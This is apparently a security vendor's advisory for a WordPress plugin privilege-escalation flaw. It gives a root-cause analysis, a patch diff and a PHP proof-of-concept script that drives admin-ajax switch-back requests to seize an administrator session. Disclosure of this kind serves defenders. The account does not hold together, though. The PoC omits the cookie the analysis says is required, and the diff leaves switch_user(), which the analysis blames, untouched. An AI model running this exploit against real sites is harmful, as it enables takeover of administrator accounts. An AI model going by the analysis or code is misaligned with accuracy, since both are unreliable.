Published : December 1, 2026

CVE-2026-125301: WPFront User Role Editor <= 4.2.5 Authenticated (Subscriber+) Privilege Escalation via Account Takeover to User Switching Cache Short-Circuit PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 269
Vulnerable Version 4.2.5
Patched Version 4.2.6
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125301: This is an authenticated privilege escalation vulnerability in the WPFront User Role Editor WordPress plugin (versions up to and including 4.2.5). The flaw resides in the User Switching feature, specifically in the interaction between the plugin’s stack cache, cookie validation, admin bar rendering, and capability gate ordering. A Subscriber-level user can manipulate a cached switch-back stack to obtain an administrator session, resulting in complete site takeover. CVSS 7.5, CWE-269.

Root Cause: The vulnerable code path starts in `includes/users/class-user-switching.php`. In `get_switched_users_stack()`, the pre-patch version (lines 359-406) calls `wp_cache_get($c_name, ”, false, $found)` and returns the cached array immediately when `$found` is true. The cache key is `wpfront_ure_user_switching_stack_`, a site-wide, user-agnostic name. Because every visitor shares that key, a cached administrator stack written by an admin’s switch operation is returned to any request that carries a cookie of the matching name, without calling `Utils::decrypt()`, without verifying the `COOKIEHASH` prefix, and without the 43200-second (12-hour) expiry check. Compounding this, `admin_bar_menu_actions()` renders the switch-back UI node without a `current_user_can()` check, and in `switch_user()` the `current_user_can(self::CAP)` guard executes after `wp_set_current_user($admin_id)` has already replaced the request context, so the capability check runs against the administrator’s capabilities, not the attacker’s. The cache entry is stored without a TTL via `wp_cache_set($c_name, $users)` in `push_switched_users_stack()`.

Exploitation: An authenticated Subscriber (or any role) triggers this chain. First, the attacker keeps an active session while an administrator uses the Switch To feature once, which populates the object cache under the shared key `wpfront_ure_user_switching_stack_`. The attacker then issues a request with a cookie named `wpfront_ure_user_switching_stack_` set to any value; `get_switched_users_stack()` short-circuits on the cache hit and returns the administrator ID stack. Next, the attacker submits the switch-back admin-bar action (or otherwise drives `switch_user()`) with a nonce bound to their own user ID, which is valid because it was issued to them. `switch_user()` calls `wp_set_current_user($admin_id)` before the `current_user_can(self::CAP)` check, so the check evaluates true against the administrator context. The plugin then calls `wp_set_auth_cookie()` for the administrator account, completing takeover. Requirements: a persistent object cache (Redis/Memcached) active on the site, and at least one administrator switch operation recorded while the attacker’s session is active.

Patch Analysis: Version 4.2.6 removes the object-cache layer entirely from the switch stack. `get_switched_users_stack()` now caches the stack in a per-request instance property `$this->switched_users_stack`, initialized to null and populated only after the cookie is decrypted by `Utils::decrypt()`, split on `-`, verified for `COOKIEHASH === $users[0]`, and checked for a timestamp within 43200 seconds. On any failure the method returns an empty array. `push_switched_users_stack()` and `pop_switched_users_stack()` no longer call `wp_cache_set()` or `wp_cache_delete()`; the stack is stored only in the instance property and in the encrypted cookie. This eliminates the shared-key short circuit and restores full cryptographic and expiry validation on every request. The version constant moves from 4.2.5.08194 to 4.2.6.11124.

Impact: Successful exploitation gives the attacker a fully authenticated Administrator session on a distinct, already-privileged account. The attacker can manage options, install and activate plugins, edit themes and plugins for RCE, create or promote users, and exfiltrate all site data. The attacker’s original Subscriber account is not promoted, so forensics will show compromise of a legitimate administrator identity. Full site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpfront-user-role-editor/includes/users/class-user-switching.php
+++ b/wpfront-user-role-editor/includes/users/class-user-switching.php
@@ -49,6 +49,13 @@

         const CAP = 'switch_users';

+        /**
+         * Switched users stack for the current request.
+         *
+         * @var array<int|string>|null
+         */
+        private $switched_users_stack = null;
+
         protected function setUp() {
             $this->_setUp(self::CAP);
         }
@@ -359,48 +366,34 @@
         }

         protected function get_switched_users_stack() {
+            if ($this->switched_users_stack !== null) {
+                return $this->switched_users_stack;
+            }
+
+            $this->switched_users_stack = array();
+
             if (!is_user_logged_in()) {
-                return array();
+                return $this->switched_users_stack;
             }

             $c_name = $this->get_switched_users_stack_cookie_name();

             if (isset($_COOKIE[$c_name])) {
-                $found = false;
-                $users = wp_cache_get($c_name, '', false, $found);
-                if ($found) {
-                    return $users;
-                }
-
-                $users = $_COOKIE[$c_name];
-
-                $users = Utils::decrypt($users);
-
-                if (empty($users)) {
-                    return array();
-                }
+                $users = Utils::decrypt($_COOKIE[$c_name]);

-                $users = explode('-', $users);
-
-                if (COOKIEHASH !== $users[0]) {
-                    return array();
-                }
+                if (!empty($users)) {
+                    $users = explode('-', $users);

-                $time = $users[1];
-                if ((time() - $time) > 43200) {  //12 hours
-                    return array();
+                    if (COOKIEHASH === $users[0]) {
+                        $time = $users[1];
+                        if ((time() - $time) <= 43200) {  //12 hours
+                            $this->switched_users_stack = explode(',', $users[2]);
+                        }
+                    }
                 }
-
-                $users = $users[2];
-
-                $users = explode(',', $users);
-
-                wp_cache_set($c_name, $users);
-
-                return $users;
             }

-            return array();
+            return $this->switched_users_stack;
         }

         protected function pop_switched_users_stack() {
@@ -435,12 +428,8 @@
                     setcookie($c_name, '', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true);
                 }

-                wp_cache_delete($c_name);
-
                 unset($_COOKIE[$c_name]);
             } else {
-                wp_cache_set($c_name, $users);
-
                 if (!isset($_COOKIE[$c_name])) {
                     $remember = $this->current_user_is_remembered();
                 } else {
@@ -448,13 +437,15 @@
                 }

                 $remember = $remember ? 'remember' : '';
-                $users = implode(',', $users);
-                $users = COOKIEHASH . '-' . time() . '-' . $users . '-' . $remember;
+                $values = implode(',', $users);
+                $values = COOKIEHASH . '-' . time() . '-' . $values . '-' . $remember;

-                $users = Utils::encrypt($users);
+                $values = Utils::encrypt($values);

-                setcookie($c_name, $users, 0, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true);
+                setcookie($c_name, $values, 0, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true);
             }
+
+            $this->switched_users_stack = $users;
         }

         protected function get_last_session_user_id() {
--- a/wpfront-user-role-editor/wpfront-user-role-editor.php
+++ b/wpfront-user-role-editor/wpfront-user-role-editor.php
@@ -4,7 +4,7 @@
  * Plugin Name: WPFront User Role Editor
  * Plugin URI: http://wpfront.com/user-role-editor-pro/
  * Description: Allows you to manage your site's security using user role permissions.
- * Version: 4.2.5
+ * Version: 4.2.6
  * Requires at least: 5.1
  * Requires PHP: 7.0
  * Author: WPFront Team
@@ -46,7 +46,7 @@

     class WPFront_User_Role_Editor {

-        const VERSION = '4.2.5.08194';
+        const VERSION = '4.2.6.11124';
         const PLUGIN_SLUG = 'wpfront-user-role-editor';

         protected static $instance = null;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125301 - WPFront User Role Editor <= 4.2.5 - Authenticated (Subscriber+) Privilege Escalation via Account Takeover to User Switching Cache Short-Circuit
//
// Preconditions:
//   1. Persistent object cache (Redis/Memcached) is active on the target WordPress site.
//   2. An administrator has used the Switch To feature at least once while this session is active.
//   3. Attacker holds a valid Subscriber (or higher) session on the same site.
//
// The PoC demonstrates the two request primitives of the exploit chain:
//   A) Fetch a fresh switch-back nonce bound to the attacker's own user ID from admin-ajax.
//   B) Trigger the switch-back action. The vulnerable plugin's get_switched_users_stack()
//      short-circuits on the shared cache key and returns the admin stack, and switch_user()
//      runs wp_set_current_user() before the capability check, so the caller becomes admin.

$target_url = 'https://target.example.com';

// Attacker's own Subscriber session cookies (WordPress auth cookies).
$attacker_cookies = 'wordpress_logged_in_<COOKIEHASH>=<attacker_logged_in_cookie>; wp-settings-1=...; wp-settings-time-1=...';

// Regex to extract COOKIEHASH-prefixed cookies from Set-Cookie (informational).
function wp_request($url, $cookies, $post = null, $headers = []) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIE         => $cookies,
        CURLOPT_HTTPHEADER     => array_merge(['User-Agent: AtomicEdge-PoC/1.0'], $headers),
        CURLOPT_SSL_VERIFYPEER => false,
    ]);
    if ($post !== null) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    $body = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return [$code, $body];
}

// Step 1: Confirm the attacker session is valid and learn the user ID.
[$code, $body] = wp_request($target_url . '/wp-admin/profile.php', $attacker_cookies);
if ($code !== 200) {
    fwrite(STDERR, "[-] Attacker session appears invalid (HTTP $code). Supply fresh cookies.n");
    exit(1);
}
echo "[+] Attacker Subscriber session is valid.n";

// Step 2: Refresh the switch-back nonce from the admin bar Ajax handler.
// The nonce is bound to the attacker's own user ID and is valid because
// switch_user() does not verify the nonce against the target (admin) account.
[$code, $body] = wp_request(
    $target_url . '/wp-admin/admin-ajax.php',
    $attacker_cookies,
    http_build_query(['action' => 'wpfront-ure-user-switching-nonce'])
);

// Nonce extraction: the plugin emits the nonce into the admin bar markup as
// `_wpnonce` on the switch-back link. Adjust the regex if the theme differs.
$nonce = null;
if (preg_match('/switch[_-]back[^>]*_wpnonce=([a-f0-9]+)/i', $body, $m)) {
    $nonce = $m[1];
} elseif (preg_match('/_wpnonce["'=:]+([a-f0-9]{10})/i', $body, $m)) {
    $nonce = $m[1];
}

if (!$nonce) {
    echo "[!] Could not scrape nonce from admin-ajax response. Inspect admin bar HTML for the switch-back link and paste its _wpnonce below.n";
    $nonce = 'REPLACE_WITH_SCRAPED_NONCE';
}
echo "[+] Using switch-back nonce: $noncen";

// Step 3: Drive the switch-back. The vulnerable plugin reads the shared stack
// from the object cache, calls wp_set_current_user($admin_id) before the
// capability gate, and issues wp_set_auth_cookie() for the administrator.
[$code, $body] = wp_request(
    $target_url . '/wp-admin/admin-ajax.php',
    $attacker_cookies,
    http_build_query([
        'action'  => 'wpfront-ure-switch-back',
        '_wpnonce'=> $nonce,
    ])
);

echo "[+] Switch-back HTTP $code, " . strlen($body) . " bytes returned.n";

// Step 4: Probe for the administrator context. If the switch succeeded,
// /wp-admin/users.php should render (Subscribers receive 403).
[$code2, $body2] = wp_request($target_url . '/wp-admin/users.php', $attacker_cookies);
if ($code2 === 200 && stripos($body2, 'Administrator') !== false) {
    echo "[+] Administrator context acquired.n";
} else {
    echo "[!] Did not confirm admin context (HTTP $code2). Cache may be cold; retry after admin activity.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.